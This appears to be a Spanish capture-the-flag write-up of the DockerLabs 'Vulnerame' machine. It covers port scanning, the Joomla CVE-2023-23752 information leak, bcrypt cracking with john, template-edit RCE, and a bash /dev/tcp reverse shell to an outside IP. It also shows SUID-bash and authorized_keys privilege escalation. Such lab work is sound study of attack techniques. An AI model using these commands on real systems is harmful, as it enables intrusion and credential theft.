Post

Vulnerame , DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Scan de puertos
  • rce
  • Reverse shell
  • Enumeracion ficheros y directorios
  • Crack con john BCRYPT

Herramientas y recursos

  • nmap
  • feroxbuster
  • john
  • ssh

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX comida  172.17.0.2

reporte

Como vemos en el reporte disponemos del http 80 y del ssh en el 22

web

Vemos la pagima default asi que lanzamos un poco de fuzzing en busca ficheros y directorios.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -x php,txt,jpg -u http://172.17.0.2

ferox

Nos encontramos directorio trucho wordpress pero con un joomla dentro, necesitamos saber la version . Joomla en versiones antiguas como debe ser esta la guarda en administrator/manifests/files/joomla.xml*

version

Sabiendo este dato ya podemos seguir buscando por la web como poder acceder a este joomla.

Buscando encontramos que alguna versiones de joomla te regalan la info que no deberia Unauthenticated information disclosure y un cve asociado CVE-2023-23752.

Este cve se aprovecha de que quedan expuestos datos json y se puede entrar sin mas en las siguientes direcciones.

1
2
api/index.php/v1/config/application?public=true
api/index.php/v1/users?public=true

Esas dos rutas corresponden a datos de configuracion del joomla y a los usuarios dentro de joomla.

pas users

Infiltracion

Con los datos proporcionados deberiamos de poder hacer login en mysql y navegar hasta los passwords.

1
2
3
4
5
mysql -h 172.17.0.2 -u joomla_user -p
show databases;
use joomla_db;
show tables;
select * from ffsnq_users

hash

Ahora tenemos un hash segun el amigo ia gpt es un bcrypt asi que le paso a john.

1
/home/quino/hacking_tools/brute_passwords_hash/john/run/john --format=BCRYPT -w /home/quino/Descargas/rockyou.txt/rockyou.txt hash

john

John me tira la password despues de un tiempito pese a estar en linea 1200 aproximadamente del rockyou.

Ahora si estamos listos para entrar a la web.

Una vez logueados como administrator vamos a panel de control > dashboard > templates > selecionamos cassiopeia > y yo modifico el error.php dejandolo de la siguinete manera.

error

Guardamos , salimos y vamos a la ruta correcta.

rce

Nos preparamos para mandarnos una reverseshell y codeamos la rev.

1
2
nc -lnvp 1111
http://172.17.0.2/wordpress/templates/cassiopeia/error.php?cmd=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.0.112%2F1111%20%3C%261%27

Movimientos laterales

Una vez dentro realizamos un sudo -l sin respuesta pero buscando sobre los directorio home de los usuarios vemos que podemos leer un fichero.

1
find /home/ -user www-data -type f 2>/dev/null

passwd

Al realizar un cat nos indica que esta en base64 , me lo paso a mi maquina.

1
python3 -m http.server 8000

Una vez en nuestra maquina podemos realizar las oportunas comprobaciones con file strings etc para ver bien a que nos enfrentamos.

Los pasos correctos son los siguiente dado que no se codifico un texto si no un fichero.

1
2
3
4
base64 -d passwd > fichero
file fichero
unzip fichero
cat pass.txt

passgua

Ahora podemos ir por ssh ni bien no logeamos ejecutamos sudo -l y nos indica que podemos usar un script como ignacio. Ejecutamos el script y vemos que es lo que hace. Observamos que el script ejecuta un ls sobre ciertos directorios y en la segunda ejecucion no encuentra el fichero, nos desplazamos a la ruta de la segunda ejecucion y creamos el fcichero que falta.

scr1pt

Creo un script de bash para mover /bin/bash y le asigno suid posteriomente lo ejecuto para ser ignacio.

Con ignacio tenemos que conseguir escapar del euid y convertinos en usuario real ignacio.

euid

Ejecutamos las siguentes ordenes , nos vamos al home de ignacio y creamos a la carpeta .ssh para dentro poner el authorized_keys.

1
2
3
4
ssh-keygen -t rsa
cat id_rsa.pub    nos copiamos el resultado
echo 'resultado' >> authorized_keys
ssh -i id_rsa ignacio@172.17.0.2

Con eso ya estamos como el user ignacio pudiendo ejecutar todo. Primero y como de costumbre sudo -l.

sudol

Vemos que nos permiten ejecutar un script en ruby dado que tenemos permisos de escritura sobre ese fichero.

1
2
3
4
5
6
7
#!/usr/bin/env ruby
require 'fileutils'
puts "Feliz hacking"
FileUtils.cp('/bin/bash', '/tmp')
puts "Aprendamos jugando y compartiendo info"
FileUtils.chmod("+s", "/tmp/bash")
puts "Esta ya la tienes :-)"

Yo lo dejo asi a falta de ejecutar bash -p.

last

Nos encntramos la misma situacion de antes , bastaria con copiar el authorized_keys de ignacio al /root/.ssh y entrar por ssh.

toor

En fin hasta aqui la otra maquina.

Saludos y recuerden seguirme en twitter ,,,, si ya se hoy x.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.